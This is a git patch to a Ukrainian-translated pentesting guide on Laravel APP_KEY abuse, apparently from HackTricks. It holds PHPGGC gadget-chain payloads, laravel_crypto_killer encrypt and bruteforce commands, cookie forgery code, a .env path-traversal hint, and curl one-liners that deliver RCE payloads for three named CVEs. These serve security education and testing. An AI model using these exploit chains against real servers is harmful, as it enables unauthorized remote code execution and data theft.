From 9c30f3e35763cf22ef7a333b71901fdd19bb6b0e Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 22:30:58 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md'] --- .../pentesting-web/laravel.md | 149 +++++------------- 1 file changed, 38 insertions(+), 111 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 6c293ec71..0ca9bd18b 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -11,7 +11,7 @@ ## APP_KEY & Encryption internals (Laravel \u003e=5.6) Laravel використовує AES-256-CBC (або GCM) з HMAC цілісності під капотом (`Illuminate\\Encryption\\Encrypter`). -Сирий шифротекст, який врешті-решт **надсилається клієнту**, є **Base64 JSON об'єкта** як: +Сирцевий шифротекст, який врешті-решт **надсилається клієнту**, є **Base64 JSON об'єктом** на зразок: ```json { "iv" : "Base64(random 16-byte IV)", @@ -20,9 +20,7 @@ Laravel використовує AES-256-CBC (або GCM) з HMAC цілісно "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` за замовчуванням `serialize()` відкритий текст, тоді як -`decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення. -Отже, **будь-який зловмисник, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований PHP серіалізований об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` за замовчуванням `serialize()` відкритий текст, тоді як `decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення. Тому **будь-який атакуючий, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований PHP серіалізований об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**. Мінімальний PoC (фреймворк ≥9.x): ```php @@ -31,7 +29,7 @@ use Illuminate\Support\Facades\Crypt; $chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste ``` -Вставте отриманий рядок у будь-який вразливий `decrypt()` sink (параметр маршруту, cookie, сесія тощо). +Впровадьте отриманий рядок у будь-який вразливий `decrypt()` sink (параметр маршруту, cookie, сесія тощо). --- @@ -54,22 +52,39 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ## Вразливі патерни в реальному світі | Проект | Вразливий sink | Ланцюг гаджетів | -|---------|-----------------|--------------| +|--------|----------------|-----------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN`, коли активовано `Passport::withCookieSerialization()` | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie, коли увімкнено `Passport::withCookieSerialization()` | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | Процес експлуатації завжди такий: -1. Отримати `APP_KEY` (за замовчуванням, витік Git, витік config/.env або брутфорс) -2. Згенерувати гаджет за допомогою **PHPGGC** -3. `laravel_crypto_killer.py encrypt …` -4. Доставити корисне навантаження через вразливий параметр/cookie → **RCE** +1. Отримати або зламати 32-байтовий `APP_KEY`. +2. Побудувати ланцюг гаджетів за допомогою **PHPGGC** (наприклад, `Laravel/RCE13`, `Laravel/RCE9` або `Laravel/RCE15`). +3. Шифрувати серіалізований гаджет за допомогою **laravel_crypto_killer.py** та відновленого `APP_KEY`. +4. Доставити шифротекст до вразливого `decrypt()` sink (параметр маршруту, cookie, сесія …), щоб викликати **RCE**. +Нижче наведені короткі однорядкові команди, що демонструють повний шлях атаки для кожного з вказаних вище CVE в реальному світі: +```bash +# Invoice Ninja ≤5 – /route/{hash} +php8.2 phpggc Laravel/RCE13 system id -b -f | \ +./laravel_crypto_killer.py encrypt -k -v - | \ +xargs -I% curl "https://victim/route/%" + +# Snipe-IT ≤6 – XSRF-TOKEN cookie +php7.4 phpggc Laravel/RCE9 system id -b | \ +./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt +curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login + +# Crater – cookie-based session +php8.2 phpggc Laravel/RCE15 system id -b > payload.bin +./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt +curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login +``` --- -## Масове виявлення APP_KEY через брутфорс cookie +## Масове виявлення APP_KEY через брутфорс куків -Оскільки кожен новий відповідь Laravel встановлює принаймні 1 зашифрований cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) витікають мільйони шифротекстів**, які можна атакувати офлайн. +Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифрований кукі (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) витікають мільйони шифротекстів**, які можна атакувати офлайн. Ключові висновки дослідження, опублікованого Synacktiv (2024-2025): * Набір даних липень 2024 » 580 тис. токенів, **3.99 % ключів зламано** (≈23 тис.) @@ -79,19 +94,12 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt Приватний інструмент Go **nounours** підвищує пропускну здатність брутфорсу AES-CBC/GCM до ~1.5 мільярда спроб/с, зменшуючи час зламу повного набору даних до <2 хвилин. ---- -## Посилання -* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) -* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) - -## Ларевел Трюки +## Лайфхаки Laravel ### Режим налагодження -Якщо Laravel у **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\ +Якщо Laravel знаходиться в **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\ Наприклад `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) @@ -100,13 +108,13 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ### .env -Laravel зберігає APP, який він використовує для шифрування cookie та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою деякого обходу шляху: `/../.env` +Laravel зберігає APP, який він використовує для шифрування куків та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою деякого обходу шляху: `/../.env` Laravel також покаже цю інформацію на сторінці налагодження (яка з'являється, коли Laravel знаходить помилку і вона активована). -Використовуючи секретний APP_KEY Laravel, ви можете розшифрувати та повторно зашифрувати cookie: +Використовуючи секретний APP_KEY Laravel, ви можете розшифрувати та повторно зашифрувати куки: -### Розшифрувати cookie +### Розшифрувати кукі ```python import os import json @@ -178,94 +186,13 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 Ще одна десеріалізація: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -### Laravel SQLInjection - -Прочитайте інформацію про це тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) -### Laravel SQLInjection - -Прочитайте інформацію про це тут: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) - ---- - -## APP_KEY & Encryption internals (Laravel \u003e=5.6) - -Laravel використовує AES-256-CBC (або GCM) з HMAC цілісності під капотом (`Illuminate\\Encryption\\Encrypter`). -Сирцевий шифротекст, який врешті-решт **надсилається клієнту**, є **Base64 JSON об'єкта** як: -```json -{ -"iv" : "Base64(random 16-byte IV)", -"value": "Base64(ciphertext)", -"mac" : "HMAC_SHA256(iv||value, APP_KEY)", -"tag" : "" // only used for AEAD ciphers (GCM) -} -``` -`encrypt($value, $serialize=true)` за замовчуванням `serialize()` відкритий текст, тоді як -`decrypt($payload, $unserialize=true)` **автоматично `unserialize()`** розшифроване значення. -Отже, **будь-який зловмисник, який знає 32-байтовий секрет `APP_KEY`, може створити зашифрований PHP серіалізований об'єкт і отримати RCE через магічні методи (`__wakeup`, `__destruct`, …)**. - -Мінімальний PoC (фреймворк ≥9.x): -```php -use Illuminate\Support\Facades\Crypt; - -$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f -$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste -``` -Вставте отриманий рядок у будь-який вразливий `decrypt()` sink (параметр маршруту, cookie, сесія тощо). - ---- - -## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) автоматизує весь процес і додає зручний режим **bruteforce**: -```bash -# Encrypt a phpggc chain with a known APP_KEY -laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" - -# Decrypt a captured cookie / token -laravel_crypto_killer.py decrypt -k -v - -# Try a word-list of keys against a token (offline) -laravel_crypto_killer.py bruteforce -v -kf appkeys.txt -``` -Скрипт прозоро підтримує як CBC, так і GCM корисні навантаження та повторно генерує поле HMAC/tag. - ---- - -## Вразливі патерни в реальному світі - -| Проект | Вразливий sink | Ланцюг гаджетів | -|---------|-----------------|--------------| -| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN`, коли увімкнено `Passport::withCookieSerialization()` | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | - -Процес експлуатації завжди: -1. Отримати `APP_KEY` (за замовчуванням, витік з Git, витік config/.env або брутфорс) -2. Згенерувати гаджет за допомогою **PHPGGC** -3. `laravel_crypto_killer.py encrypt …` -4. Доставити корисне навантаження через вразливий параметр/cookie → **RCE** - ---- - -## Масове виявлення APP_KEY через брутфорс cookie - -Оскільки кожен новий відповідь Laravel встановлює принаймні 1 зашифрований cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) витікають мільйони шифротекстів**, які можна атакувати офлайн. - -Ключові висновки дослідження, опублікованого Synacktiv (2024-2025): -* Набір даних липень 2024 » 580 тис. токенів, **3.99 % ключів зламано** (≈23 тис.) -* Набір даних травень 2025 » 625 тис. токенів, **3.56 % ключів зламано** -* >1 000 серверів все ще вразливі до старого CVE-2018-15133, оскільки токени безпосередньо містять серіалізовані дані. -* Велике повторне використання ключів – Топ-10 APP_KEYs є жорстко закодованими значеннями за замовчуванням, які постачаються з комерційними шаблонами Laravel (UltimatePOS, Invoice Ninja, XPanel, …). - -Приватний інструмент Go **nounours** підвищує пропускну здатність брутфорсу AES-CBC/GCM до ~1.5 мільярда спроб/с, зменшуючи час зламу повного набору даних до <2 хвилин. - ---- - -## Посилання -* [Laravel: аналіз витоку APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +## References +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 опис (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}